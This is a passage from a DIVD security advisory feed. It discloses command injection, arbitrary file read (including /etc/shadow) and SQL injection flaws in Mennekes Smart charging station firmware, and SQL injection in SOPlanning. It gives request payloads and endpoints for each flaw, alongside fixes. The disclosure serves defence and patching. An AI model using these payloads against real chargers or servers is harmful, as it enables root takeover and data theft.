  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22367&quot; class=&quot;cve secinfo&quot;&gt;CVE-2025-22367&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22368&quot; class=&quot;cve secinfo&quot;&gt;CVE-2025-22368&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22369&quot; class=&quot;cve secinfo&quot;&gt;CVE-2025-22369&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22370&quot; class=&quot;cve secinfo&quot;&gt;CVE-2025-22370&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All five vulnerabilities affect Mennekes Smart charging stations running firmware prior to version 2.15 and are resolved in firmware 2.15 The rest of this post contains the full technical write-up of each vulnerability.&lt;/p&gt;

&lt;h2 id=&quot;command-injection-in-firmware-upgrade-via-url---cve-2025-22366&quot;&gt;Command injection in firmware upgrade via URL - CVE-2025-22366&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;CVE: &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22366&quot; class=&quot;cve secinfo&quot;&gt;CVE-2025-22366&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Case: &lt;a href=&quot;/cases/DIVD-2025-00003&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2025-00003&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Discovered by: Wilco van Beijnum&lt;/li&gt;
  &lt;li&gt;Credits: Reported to DIVD and discovered by Wilco van Beijnum. Analysed by DIVD researchers Harm van den Brink and Frank Breedijk.&lt;/li&gt;
  &lt;li&gt;Products: Mennekes Smart - charging stations, firmware versions &amp;lt; 2.15&lt;/li&gt;
  &lt;li&gt;CVSS: 8.7 (HIGH) — &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:N/SA:N/S:N/AU:Y&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;CWE: CWE-78 (OS Command Injection), CWE-250 (Execution with Unnecessary Privileges)&lt;/li&gt;
  &lt;li&gt;Reference: Case &lt;a href=&quot;/cases/DIVD-2025-00003&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2025-00003&lt;/a&gt;, &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22366&quot; class=&quot;cve secinfo&quot;&gt;CVE-2025-22366&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Solution: Upgrade to firmware 2.15 or later. Apply input filtering/escaping and pass user input to new processes safely (e.g. in Python, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;subprocess.run&lt;/code&gt; with a list of arguments and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shell=False&lt;/code&gt;). The web server should not run as the root user.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The “firmware upgrade via URL” field in the configuration web interface does not properly neutralise OS command characters before the value is passed to the underlying operating system. An authenticated attacker can abuse this field to execute arbitrary commands as root.
The vulnerable functionality is reached via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://&amp;lt;ip-address&amp;gt;/&lt;/code&gt;, then &lt;em&gt;Setup&lt;/em&gt; → &lt;em&gt;ACU Update (via File-Upload)&lt;/em&gt; → &lt;em&gt;URL&lt;/em&gt;. The URL field is vulnerable to command injection, for example using the following payload:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;http://127.0.0.1/; &amp;lt;command&amp;gt;; abc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Risk&lt;/strong&gt;
Impact: Critical — the attacker gains full control over the charging station as the root user and can arbitrarily add, modify and delete files and services.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Suggested actions&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Upgrade to firmware 2.15 or later. Use input filtering and escaping to prevent command injection, avoid passing user-controlled input to a shell, and do not run the web server as root.&lt;/p&gt;

&lt;h2 id=&quot;command-injection-in-manually-setting-the-time---cve-2025-22367&quot;&gt;Command injection in manually setting the time - CVE-2025-22367&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;CVE: &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22367&quot; class=&quot;cve secinfo&quot;&gt;CVE-2025-22367&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Case: &lt;a href=&quot;/cases/DIVD-2025-00003&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2025-00003&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Discovered by: Wilco van Beijnum&lt;/li&gt;
  &lt;li&gt;Credits: Reported to DIVD and discovered by Wilco van Beijnum. Analysed by DIVD researchers Harm van den Brink and Frank Breedijk.&lt;/li&gt;
  &lt;li&gt;Products: Mennekes Smart / Premium charging stations, firmware versions &amp;lt; 2.15&lt;/li&gt;
  &lt;li&gt;CVSS: 8.7 (HIGH) — &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:N/SA:N/S:N/AU:Y&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;CWE: CWE-78 (OS Command Injection), CWE-250 (Execution with Unnecessary Privileges)&lt;/li&gt;
  &lt;li&gt;Reference: Case &lt;a href=&quot;/cases/DIVD-2025-00003&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2025-00003&lt;/a&gt;, &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22367&quot; class=&quot;cve secinfo&quot;&gt;CVE-2025-22367&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Solution: Upgrade to firmware 2.15 or later. Apply input filtering/escaping and pass user input to new processes safely (e.g. in Python, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;subprocess.run&lt;/code&gt; with a list of arguments and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shell=False&lt;/code&gt;). The web server should not run as the root user.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The request used to manually set the time of the charging station does not properly neutralise OS command characters, allowing an authenticated attacker to obtain remote code execution through command injection.
Manually changing the time sends a POST request to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://&amp;lt;ip-address&amp;gt;/admin/admin_netzwerk&lt;/code&gt;. The request can be manipulated with the following payload (basic authentication credentials must also be supplied):&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;timesource=manually&amp;amp;time_toggle=&amp;amp;from_year=&amp;lt;year&amp;gt;&amp;amp;from_month=&amp;lt;month&amp;gt;&amp;amp;from_day=&amp;lt;day&amp;gt;&amp;amp;from_hour=&amp;lt;hour&amp;gt;&amp;amp;from_minute=&amp;lt;minute&amp;gt;&apos;%3b+&amp;lt;URL-encoded-command&amp;gt;%3b+echo+-n+&apos;&amp;amp;time_button=
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Risk&lt;/strong&gt;
Impact: Critical — the attacker gains full control over the charging station as the root user and can arbitrarily add, modify and delete files and services.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Suggested actions&lt;/strong&gt;
Upgrade to firmware 2.15 or later. Use input filtering and escaping to prevent command injection, avoid passing user-controlled input to a shell, and do not run the web server as root.&lt;/p&gt;

&lt;h2 id=&quot;command-injection-in-scu-firmware-update---cve-2025-22368&quot;&gt;Command injection in SCU firmware update - CVE-2025-22368&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;CVE: &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22368&quot; class=&quot;cve secinfo&quot;&gt;CVE-2025-22368&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Case: &lt;a href=&quot;/cases/DIVD-2025-00003&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2025-00003&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Discovered by: Wilco van Beijnum&lt;/li&gt;
  &lt;li&gt;Credits: Reported to DIVD and discovered by Wilco van Beijnum. Analysed by DIVD researchers Harm van den Brink and Frank Breedijk.&lt;/li&gt;
  &lt;li&gt;Products: Mennekes Smart / Premium charging stations, firmware versions &amp;lt; 2.15&lt;/li&gt;
  &lt;li&gt;CVSS: 8.7 (HIGH) — &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:N/SA:N/S:N/AU:Y&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;CWE: CWE-78 (OS Command Injection), CWE-250 (Execution with Unnecessary Privileges)&lt;/li&gt;
  &lt;li&gt;Reference: Case &lt;a href=&quot;/cases/DIVD-2025-00003&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2025-00003&lt;/a&gt;, &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22368&quot; class=&quot;cve secinfo&quot;&gt;CVE-2025-22368&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Solution: Upgrade to firmware 2.15 or later. Apply input filtering/escaping and pass user input to new processes safely (e.g. in Python, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;subprocess.run&lt;/code&gt; with a list of arguments and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shell=False&lt;/code&gt;). The web server should not run as the root user.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The authenticated SCU firmware update command does not properly neutralise OS command characters, allowing an attacker to inject OS commands and gain remote code execution.
OS commands can be injected by sending a POST request to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://&amp;lt;ip-address&amp;gt;/admin/admin_scu_do_fw_update&lt;/code&gt;. The request can be manipulated with the following payload (basic authentication credentials must also be supplied):&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;scu_id=1&amp;amp;typ=remote&amp;amp;target=abc%3b+&amp;lt;URL-encoded-command&amp;gt;%3b+abcd
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Risk&lt;/strong&gt;
Impact: Critical — the attacker gains full control over the charging station as the root user and can arbitrarily add, modify and delete files and services.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Suggested actions&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Upgrade to firmware 2.15 or later. Use input filtering and escaping to prevent command injection, avoid passing user-controlled input to a shell, and do not run the web server as root.&lt;/p&gt;

&lt;h2 id=&quot;arbitrary-file-download-using-readfile-endpoint---cve-2025-22369&quot;&gt;Arbitrary file download using ReadFile endpoint - CVE-2025-22369&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;CVE: &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22369&quot; class=&quot;cve secinfo&quot;&gt;CVE-2025-22369&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Case: &lt;a href=&quot;/cases/DIVD-2025-00003&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2025-00003&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Discovered by: Wilco van Beijnum&lt;/li&gt;
  &lt;li&gt;Credits: Reported to DIVD and discovered by Wilco van Beijnum. Analysed by DIVD researchers Harm van den Brink and Frank Breedijk.&lt;/li&gt;
  &lt;li&gt;Products: Mennekes Smart / Premium charging stations, firmware versions &amp;lt; 2.15&lt;/li&gt;
  &lt;li&gt;CVSS: 7.1 (HIGH) — &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/S:N/AU:Y&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;CWE: CWE-552 (Files or Directories Accessible to External Parties)&lt;/li&gt;
  &lt;li&gt;Reference: Case &lt;a href=&quot;/cases/DIVD-2025-00003&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2025-00003&lt;/a&gt;, &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22369&quot; class=&quot;cve secinfo&quot;&gt;CVE-2025-22369&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Solution: Upgrade to firmware 2.15 or later. Restrict the endpoint so that (low-privilege) users cannot download arbitrary files from the filesystem.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/admin/admin_ReadFile&lt;/code&gt; endpoint can be abused to read arbitrary files from the underlying operating system. An authenticated attacker can retrieve any file the web service can access.
Arbitrary files can be downloaded by sending a POST request to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/admin/admin_ReadFile&lt;/code&gt; with the following body (basic authentication credentials must also be supplied):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;filename=&amp;lt;path-to-file&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Risk&lt;/strong&gt;
Impact: High — the endpoint can download any file on the filesystem, including sensitive files such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/shadow&lt;/code&gt;, as well as the scripts and binaries running on the charging station.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Suggested actions&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Upgrade to firmware 2.15 or later. It should not be possible for (low-privilege) users to download arbitrary files.&lt;/p&gt;

&lt;h2 id=&quot;sql-injection-in-web-configuration-interface-fields---cve-2025-22370&quot;&gt;SQL injection in web configuration interface fields - CVE-2025-22370&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;CVE: &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22370&quot; class=&quot;cve secinfo&quot;&gt;CVE-2025-22370&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Case: &lt;a href=&quot;/cases/DIVD-2025-00003&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2025-00003&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Discovered by: Wilco van Beijnum&lt;/li&gt;
  &lt;li&gt;Credits: Reported to DIVD and discovered by Wilco van Beijnum. Analysed by DIVD researchers Harm van den Brink and Frank Breedijk.&lt;/li&gt;
  &lt;li&gt;Products: Mennekes Smart / Premium charging stations, firmware versions &amp;lt; 2.15&lt;/li&gt;
  &lt;li&gt;CVSS: 5.3 (MEDIUM) — &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/S:N/AU:Y&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;CWE: CWE-89 (SQL Injection)&lt;/li&gt;
  &lt;li&gt;Reference: Case &lt;a href=&quot;/cases/DIVD-2025-00003&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2025-00003&lt;/a&gt;, &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22370&quot; class=&quot;cve secinfo&quot;&gt;CVE-2025-22370&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Solution: Upgrade to firmware 2.15 or later. Use prepared statements / parameterised queries and input filtering (e.g. in Python, use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;?&lt;/code&gt; placeholders in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cursor.execute&lt;/code&gt; and pass values as the second argument).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Several fields in the web configuration interface insufficiently neutralise input, allowing an authenticated attacker to execute arbitrary SQL commands against the SQLite databases used by the interface.
As an example, the “add user to whitelist” function is vulnerable. Entering an alias of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;||SQLITE_VERSION()||&apos;&lt;/code&gt; (the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;maxlength&lt;/code&gt; attribute on the alias field can be removed via the browser developer tools to fit the query) demonstrates the flaw: if injection is present, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;||&lt;/code&gt; is interpreted as string concatenation and the stored alias becomes the SQLite version used by the server. On the tested device this returned version &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;3.7.3&lt;/code&gt;, confirming the input was interpreted rather than stored literally.
A code review of the interface’s Python scripts — obtained via the command-injection vulnerabilities described above — revealed many further injection points. These can be located by searching &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PersistentStorage_Manager.py&lt;/code&gt; for the regular expression &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cursor.*\(.*%s&lt;/code&gt;, which matches database queries built with string formatting.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Risk&lt;/strong&gt;
Impact: Moderate — the attacker can read and manipulate the SQLite databases used by the web interface. The impact is limited because the injection points only allow manipulation of the existing statement rather than execution of multiple/arbitrary statements. It may still be possible to retrieve sensitive information, bypass field filtering, and manipulate or break the functioning of the web configuration interface.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Suggested actions&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Upgrade to firmware 2.15 or later. Use prepared statements and input filtering to prevent SQL injection.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Mennekes firmware 2.15 release notes: &lt;a href=&quot;https://www.mennekes.nl/fileadmin/MEN-Deutschland/emobility/04_software/06_smart_premium/Release_Notes_for_2.15_06.03.2025.pdf&quot;&gt;Release_Notes_for_2.15_06.03.2025.pdf&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;DIVD case: &lt;a href=&quot;https://csirt.divd.nl/DIVD-2025-00003&quot;&gt;DIVD-2025-00003&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22366&quot; class=&quot;cve secinfo&quot;&gt;CVE-2025-22366&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22367&quot; class=&quot;cve secinfo&quot;&gt;CVE-2025-22367&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22368&quot; class=&quot;cve secinfo&quot;&gt;CVE-2025-22368&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22369&quot; class=&quot;cve secinfo&quot;&gt;CVE-2025-22369&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-22370&quot; class=&quot;cve secinfo&quot;&gt;CVE-2025-22370&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
                <pubDate>Thu, 16 Jul 2026 00:00:00 +0200</pubDate>
                <link>https://csirt.divd.nl/2026/07/16/mennekes-smart-full-disclosure/</link>
                <guid isPermaLink="true">https://csirt.divd.nl/2026/07/16/mennekes-smart-full-disclosure/</guid>
            </item>
            <item>
                <title>SOPlanning Online Planning tool full disclosure</title>
                <description>&lt;p&gt;DIVD researchers discovered multiple vulnerabilities in the SOPlanning Online Planning tool (versions &amp;lt; 1.52.02). The vulnerabilities were found by researchers Wietse Boonstra and Hidde Smit, with Max van der Horst as case lead.&lt;/p&gt;

&lt;p&gt;DIVD is a CVE Numbering Authority (CNA) and has used these rights to assign the following CVEs to the vulnerabilities described in this case:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27112&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-27112&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27113&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-27113&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27114&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-27114&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27115&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-27115&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The rest of this post contains the full technical write-up of the vulnerabilities.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;strong&gt;Precondition — public view.&lt;/strong&gt; The non-default &lt;em&gt;public view&lt;/em&gt; setting (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CONFIG_SOPLANNING_OPTION_ACCES&lt;/code&gt; set to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;2&lt;/code&gt;) is the shared precondition for all four issues below. When public view is enabled, a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;public=1&lt;/code&gt; request grants a session as the over-privileged &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;publicspl&lt;/code&gt; user without authenticating (detailed in the IDOR section below), which turns the SQL injection, the database export and the two Remote Code Execution issues into effectively unauthenticated attacks.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;unauthenticated-sql-injection---cve-2024-27112&quot;&gt;Unauthenticated SQL injection - CVE-2024-27112&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;CVE: &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27112&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-27112&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Case: &lt;a href=&quot;/cases/DIVD-2024-00024&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2024-00024&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Discovered by: Wietse Boonstra and Hidde Smit&lt;/li&gt;
  &lt;li&gt;Credits: Discovered by DIVD researchers Wietse Boonstra and Hidde Smit. Case lead: Max van der Horst.&lt;/li&gt;
  &lt;li&gt;Products: SOPlanning Online Planning tool (versions &amp;lt; 1.52.02)&lt;/li&gt;
  &lt;li&gt;CVSS: To be confirmed against the official CVE record.&lt;/li&gt;
  &lt;li&gt;Reference: Case &lt;a href=&quot;/cases/DIVD-2024-00024&quot; class=&quot;divd secinfo&quot;&gt;DIVD-2024-00024&lt;/a&gt;, &lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27112&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-27112&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Solution: Use parameterized queries / prepared statements for all user-controllable filter parameters. Update to SOPlanning 1.52.02 or later.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The planning view (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;taches.php&lt;/code&gt;) accepts filter parameters that are passed unsanitized into a SQL query. The filter request is handled server-side through the AJAX backend (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;process/xajax_server.php&lt;/code&gt;). Both the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gp[]&lt;/code&gt; (group/project filter) and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;statut[]&lt;/code&gt; (status filter) parameters are injectable.&lt;/p&gt;

&lt;p&gt;As with the other issues, this is reachable without real credentials when public view is enabled: the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;public=1&lt;/code&gt; parameter yields a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;publicspl&lt;/code&gt; session, and the affected filter functionality must be active. Appending a single quote to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gp[]&lt;/code&gt; breaks out of the query, demonstrating the injection:&lt;/p&gt;

&lt;div class=&quot;language-http highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;POST&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;/soplanning/www/taches.php?public=1&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;HTTP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1.1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Host&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;192.168.1.184:82&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Content-Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;42&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Method&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;POST ./process/xajax_server.php HTTP/1.1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;User-Agent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Content-Type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;application/x-www-form-urlencoded&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Accept&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;*/*&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Origin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;http://192.168.1.184:82&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Referer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;http://192.168.1.184:82/soplanning/www/&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Accept-Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;gzip, deflate, br&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Accept-Language&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;en-GB,en-US;q=0.9,en;q=0.8&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Cookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;dateDebut=29/05/2024; dateFin=29/07/2024; xposMoisWin=0; xposJoursWin=0; yposMoisWin=0; yposJoursWin=0; baseLigne=users; baseColonne=jours; afficherTableauRecap=1; masquerLigneVide=0; SMARTY_DEBUG=1;soplanningplanning_=9lftp5l5pdlvbu4idqqjim3qcu&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Connection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;keep-alive&lt;/span&gt;

filtreGroupeProjet=1&amp;amp;gp[]=SQLI&apos;&amp;amp;statut[]=1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Both &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gp[]&lt;/code&gt; (shown here with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SQLI&apos;&lt;/code&gt; test payload) and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;statut[]&lt;/code&gt; are injection points. An attacker can misuse this to read arbitrary information from the underlying database.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Suggested actions&lt;/strong&gt;&lt;/p&gt;

